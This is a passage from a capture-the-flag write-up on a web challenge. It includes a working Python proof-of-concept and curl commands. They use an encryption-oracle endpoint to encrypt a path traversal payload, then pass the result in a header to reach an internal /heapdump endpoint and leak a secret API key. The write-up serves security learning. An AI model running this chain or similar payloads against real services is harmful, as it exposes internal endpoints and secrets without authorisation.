  5. Leveraging /fingerprint endpoint to generate the encrypted value of a path traversal payload, and supplying the generated fingerprint as the x-param header in the /get-dogs endpoint allows us to access the internal /heapdump endpoint and leak the flag.

For a valid solution submission, participants need to submit a proof-of-concept (PoC) hosted on BugPoC.
For simplicity, I opted to use their Python PoC to demonstrate the attack chain:

#!/usr/bin/env python3
import re
import requests

def main():
  endpoint = '/heapdump'
  path_traversal_payload = ('/..' + endpoint + '#').replace('/', '%2f')
  encrypted = requests.get('https://doggo-api.buggywebsite.com/fingerprint', headers={'User-Agent': path_traversal_payload}).json()['fingerprint']
  r = requests.get('https://doggo-api.buggywebsite.com/get-dogs', headers={'x-param': encrypted, 'x-fingerprint': 'a'})
  flag = re.search('SECRET_API_KEY[^;]+', r.text).group().split(',')
  flag[1] = ': '
  return ''.join(flag)

Running the proof-of-concept code using BugPoC’s Python PoC returns the following response containing the flag:

SECRET_API_KEY: flag{gr8_job_h@cker}

Memory Leak Proof-of-Concept

Challenge solved! :tada:

Closing Thoughts & Tips

As you might have noted by now, it is never a good idea to re-use the same encryption key for multiple purposes. An attacker who has access to encryption/decryption oracle can potentially trigger unintentional behaviours (as well-demonstrated in this challenge). There were a couple of times I observed the re-use of JWT signing key for both production and staging servers, which can be leveraged to achieve account takeover on the production server! :wink:

There are also a few tricks we can use to perform better testing, which I did not mention in the write-up for brevity. Firstly, we were hunting endpoints from an external perspective. In addition to fuzzing endpoints from an external perspective, the path traversal bug in the server-side request to discover endpoints should also be leveraged to fuzz from the internal perspective.

Next, the path traversal payload (i.e. ..%2f) was specifically targeting the webserver’s URL path normalisation behaviour. Do note that there is no guarantee that it will work in real life, because we can’t know for sure which webserver is actually being used on the backend! There could be multiple reverse proxies used, or there could be none at all – it all depends, and we can only enumerate and do a bit of guessing-and-checking to confirm our suspicions!

Another thing we could have done is to leverage the /fingerprint endpoint to identify how the request is being fetched by the application:

$ curl -s -H 'User-Agent: /..%2ffingerprint#' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkv0VCFdQy6oMxc1yJDY2WYHSKloG6Ik-OXHQ4Bw9CjgmAiO9j71e8rP_mJ0MM989mlsUiAlZaoPwsHr7vBd8a-E3tteAm4j4XJ1ASyXYJULa5-Y=
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"/..%2ffingerprint#\"}", "statusCode": 200, "body": "{\"fingerprint\": \"gAAAAABgkv0bO6yEXGQL8R9ddHZiEQe4Twv6-3ASNLhIZmWPSLXl833cuoiE_JrcIHgEBa54X5cWiqpoHvVT_GQBqkdPFXwOviKnz5BWdcEReMrlMI0sH672s2Hf_3Gxy1xUpJQwEAKU\"}"}
$ curl -H "x-fingerprint: actually this value isn't validated" -H "x-param: gAAAAABgkv0bO6yEXGQL8R9ddHZiEQe4Twv6-3ASNLhIZmWPSLXl833cuoiE_JrcIHgEBa54X5cWiqpoHvVT_GQBqkdPFXwOviKnz5BWdcEReMrlMI0sH672s2Hf_3Gxy1xUpJQwEAKU" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"python-requests/2.22.0\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

From the User-Agent string, we can infer that the URL is likely to be fetched using Requests Python library on the sever-side. We could also possibly examine and target a specific behaviour of the HTTP client used in our attack as well. For instance, did you know that urllib accepts “wrapped” URLs? Check out this writeup by @Gladiator to see how this behaviour was being used to bypass a WAF in a CTF challenge!

I hope you enjoyed the write-up. :smiley:
Thanks BugPoC/@NahamSec for the fun challenge!